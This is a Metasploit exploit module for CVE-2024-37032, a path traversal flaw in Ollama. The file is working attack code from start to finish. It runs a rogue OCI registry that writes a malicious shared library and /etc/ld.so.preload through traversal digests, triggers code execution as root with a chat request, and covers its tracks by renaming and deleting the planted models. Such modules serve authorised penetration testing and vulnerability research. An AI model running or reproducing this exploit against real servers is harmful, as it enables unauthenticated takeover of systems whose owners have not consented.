##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  BLOB_CT = { 'Content-Type' => 'application/octet-stream' }.freeze
  JSON_CT = { 'Content-Type' => 'application/json' }.freeze
  MANIFEST_CT = { 'Content-Type' => 'application/vnd.docker.distribution.manifest.v2+json' }.freeze

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ollama Model Registry Path Traversal RCE',
        'Description' => %q{
          Ollama before 0.1.34 is vulnerable to a path traversal attack via the
          model pull mechanism (CVE-2024-37032). When pulling a model, the digest
          field in OCI manifests is not validated, allowing an attacker to inject
          path traversal sequences to write arbitrary files on the server.

          This module starts a rogue OCI registry that serves two models. The first
          pull writes a malicious shared library and /etc/ld.so.preload via path
          traversal (a sacrificial first layer absorbs the digest verification
          failure so the remaining files persist). The second pull registers a valid
          model so /api/chat can spawn the llama.cpp runner process, which triggers
          the dynamic linker to load the malicious library via ld.so.preload. The
          library constructor forks, cleans up ld.so.preload, and executes the
          payload in the child process.

          The default Ollama Docker image runs as root with the API bound to
          0.0.0.0:11434, making this a direct unauthenticated RCE.
        },
        'Author' => [
          'Sagi Tzadik <sagitz[at]wiz.io>', # Wiz Research discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-37032'],
          ['URL', 'https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032'],
          ['GHSA', 'v4cg-63r8-8fh8', 'ollama/ollama']
        ],
        'Platform' => %w[linux],
        'Arch' => [ARCH_X64],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2024-05-05',
        'AKA' => ['Probllama'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(11434),
      OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']),
      OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']),
      OptInt.new('DEPTH', [true, 'Traversal depth to reach the root filesystem', 14])
    ])
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version'))
    return CheckCode::Unknown('No response from target') unless res&.code == 200

    version = res.get_json_document['version']
    return CheckCode::Unknown('Could not determine Ollama version') unless version

    return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34')

    CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)")
  end

  def exploit
    prepare_payloads
    prepare_trigger_model
    start_registry

    write_files_via_traversal
    register_trigger_model
    trigger_rce
  end

  private

  # ---- Payload preparation ----

  def prepare_payloads
    @evil_namespace = random_model_name
    @trigger_namespace = random_model_name
    @so_name = Rex::Text.rand_text_alpha(8) + '.so'
    @so_path = "#{datastore['WRITABLE_DIR']}/#{@so_name}"
    @so_blob = generate_payload_so
    @preload_blob = "#{@so_path}\n"
    @dummy_name = Rex::Text.rand_text_alpha(8)
    @dummy_blob = Rex::Text.rand_text_alpha(16)
  end

  def prepare_trigger_model
    family = Faker::Hacker.noun.downcase.gsub(/\W+/, '-')
    @trigger_config_blob = {
      'model_format' => 'gguf', 'model_family' => family,
      'model_families' => [family], 'model_type' => "#{rand(1..70)}B", 'file_type' => 'Q4_0'
    }.to_json
    @trigger_model_blob = minimal_gguf(family)
  end

  def random_model_name
    "#{Faker::Hacker.adjective}-#{Faker::Hacker.noun}".downcase.gsub(/\W+/, '-')
  end

  def generate_payload_so
    sc = payload.encoded
    sc_hex = sc.bytes.map { |b| '0x%02x' % b }.join(', ')

    c_code = <<~C
      extern int unlink(const char *);
      extern int fork(void);
      extern int setsid(void);
      extern void _exit(int);
      __attribute__((constructor))
      void init(void) {
        unlink("/etc/ld.so.preload");
        // Fork+setsid must happen here in the constructor, not via PrependFork,
        // so the runner process returns immediately and isn't blocked by the payload.
        // _exit instead of return: shellcode is inlined via asm("db"), so return
        // would fall through into it.
        if (fork() != 0) _exit(0);
        setsid();
        asm("db #{sc_hex}");
      }
    C

    Metasm::ELF.compile_c(Metasm::X86_64.new, c_code).encode_string(:lib)
  end

  def minimal_gguf(arch = 'llama')
    key = 'general.architecture'
    val = arch
    [
      'GGUF',                       # magic
      [3].pack('V'),                # version
      [0].pack('Q<'),               # tensor_count
      [1].pack('Q<'),               # metadata_kv_count
      [key.length].pack('Q<'), key, # key string
      [8].pack('V'),                # value type: STRING
      [val.length].pack('Q<'), val  # value string
    ].join
  end

  # ---- Registry server ----

  def start_registry
    start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } })
    print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}")
  end

  def srvhost_addr
    datastore['SRVHOST']
  end

  def registry_model_name(namespace)
    "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model"
  end

  def on_request_uri(cli, request)
    uri = request.uri
    vprint_status("Registry: #{request.method} #{uri}")

    body, headers = resolve_blob(uri)
    send_response(cli, body, headers)
  end

  def resolve_blob(uri)
    return ['{}', JSON_CT] if uri =~ %r{/v2/?$}
    return [evil_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest('{}'))] if uri.include?(@evil_namespace) && uri.include?('manifests')
    return [trigger_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest(@trigger_config_blob))] if uri.include?(@trigger_namespace) && uri.include?('manifests')

    blob = find_blob(uri)
    return [blob, BLOB_CT] if blob

    ['{}', JSON_CT]
  end

  def find_blob(uri)
    blobs = {
      @so_name => @so_blob,
      'ld.so.preload' => @preload_blob,
      @dummy_name => @dummy_blob,
      sha256_digest(@trigger_model_blob).split(':')[1][0, 12] => @trigger_model_blob,
      sha256_digest(@trigger_config_blob).split(':')[1][0, 12] => @trigger_config_blob
    }
    blobs.each { |key, data| return data if uri.include?(key) }
    nil
  end

  # ---- Manifest builders ----

  def sha256_digest(content)
    "sha256:#{Digest::SHA256.hexdigest(content)}"
  end

  def traversal_digest(path)
    "#{'../' * datastore['DEPTH']}#{path.delete_prefix('/')}"
  end

  def oci_manifest(config_blob, layers)
    {
      'schemaVersion' => 2,
      'mediaType' => 'application/vnd.docker.distribution.manifest.v2+json',
      'config' => {
        'digest' => sha256_digest(config_blob),
        'mediaType' => 'application/vnd.docker.container.image.v1+json',
        'size' => config_blob.length
      },
      'layers' => layers
    }.to_json
  end

  def oci_layer(digest, size)
    { 'digest' => digest, 'mediaType' => 'application/vnd.ollama.image.model', 'size' => size }
  end

  def evil_manifest
    oci_manifest('{}', [
      oci_layer(traversal_digest("/tmp/#{@dummy_name}"), @dummy_blob.length),
      oci_layer(traversal_digest(@so_path), @so_blob.length),
      oci_layer(traversal_digest('/etc/ld.so.preload'), @preload_blob.length)
    ])
  end

  def trigger_manifest
    oci_manifest(@trigger_config_blob, [
      oci_layer(sha256_digest(@trigger_model_blob), @trigger_model_blob.length)
    ])
  end

  # ---- Exploit steps ----

  def pull_model(name)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'pull'),
      'ctype' => 'application/json',
      'data' => { 'name' => name, 'insecure' => true }.to_json,
      'timeout' => 30
    )
  end

  def write_files_via_traversal
    model = registry_model_name(@evil_namespace)
    print_status("Pull 1: #{model} (path traversal write)")

    res = pull_model(model)
    fail_with(Failure::Unreachable, 'No response from target') unless res

    if res&.body && res.body.include?('completed')
      print_good('Payload .so and ld.so.preload written via path traversal')
    else
      print_warning('Unexpected pull response (files may still have been written)')
      vprint_status(res.body.slice(0, 500))
    end

    register_file_for_cleanup('/etc/ld.so.preload')
    register_file_for_cleanup(@so_path)
  end

  def register_trigger_model
    @trigger_alias = random_model_name
    remote_name = registry_model_name(@trigger_namespace)
    print_status("Pull 2: #{remote_name} (registering trigger model)")

    res = pull_model(remote_name)
    fail_with(Failure::Unreachable, 'No response from trigger pull') unless res

    if res.body.include?('success')
      print_good('Trigger model registered')
    else
      print_warning('Trigger pull returned unexpected response')
      vprint_status(res.body.slice(0, 500))
    end

    # Copy to a clean alias and delete the original to hide the attacker URL from /api/tags
    ollama_api('copy', { 'source' => remote_name, 'destination' => @trigger_alias })
    ollama_api('delete', { 'name' => remote_name }, 'DELETE')
    vprint_status("Model aliased to #{@trigger_alias}, original removed")
  end

  def trigger_rce
    print_status('Triggering RCE via /api/chat (spawning runner process)...')

    begin
      send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api', 'chat'),
        'ctype' => 'application/json',
        'data' => { 'model' => @trigger_alias, 'messages' => [{ 'role' => 'user', 'content' => Rex::Text.rand_text_alpha(rand(2..6)) }] }.to_json
      )
    ensure
      ollama_api('delete', { 'name' => @trigger_alias }, 'DELETE')
      vprint_status("Trigger model #{@trigger_alias} deleted")
    end
  end

  def ollama_api(endpoint, body, method = 'POST')
    send_request_cgi(
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'api', endpoint),
      'ctype' => 'application/json',
      'data' => body.to_json,
      'timeout' => 10
    )
  end
end